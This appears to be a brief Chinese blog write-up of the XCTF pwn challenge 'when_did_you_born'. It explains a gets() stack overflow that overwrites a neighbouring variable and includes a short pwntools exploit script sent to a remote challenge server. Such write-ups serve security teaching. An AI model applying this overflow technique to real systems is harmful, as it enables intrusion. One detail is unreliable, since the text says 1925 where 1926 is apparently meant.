when_did_you_born(xctf)
程序员文章站
2022-05-15 20:25:29
...
0x0 程序保护和流程
保护:
流程:
main()
分析主要程序逻辑可知,要想获得flag必须让v5等于1926但是第一次输入时v5不能等于1925。但是我们可以通过gets(&v4)将v5的值覆盖成1926。
0x1 利用过程
v4变量距离rsp的偏移为0x0,v5变量距离rsp的变量为0x8,所以当v4=‘a’*8+p64(1926)时就可以获得flag。
0x2 exp
from pwn import *
#sh=process('./a')
sh=remote('124.126.19.106','37359')
sh.recv()
sh.sendline('25')
sh.recv()
payload='a'*8+p64(1926)
sh.sendline(payload)
sh.recv()
上一篇: 火龙果营养成分大分析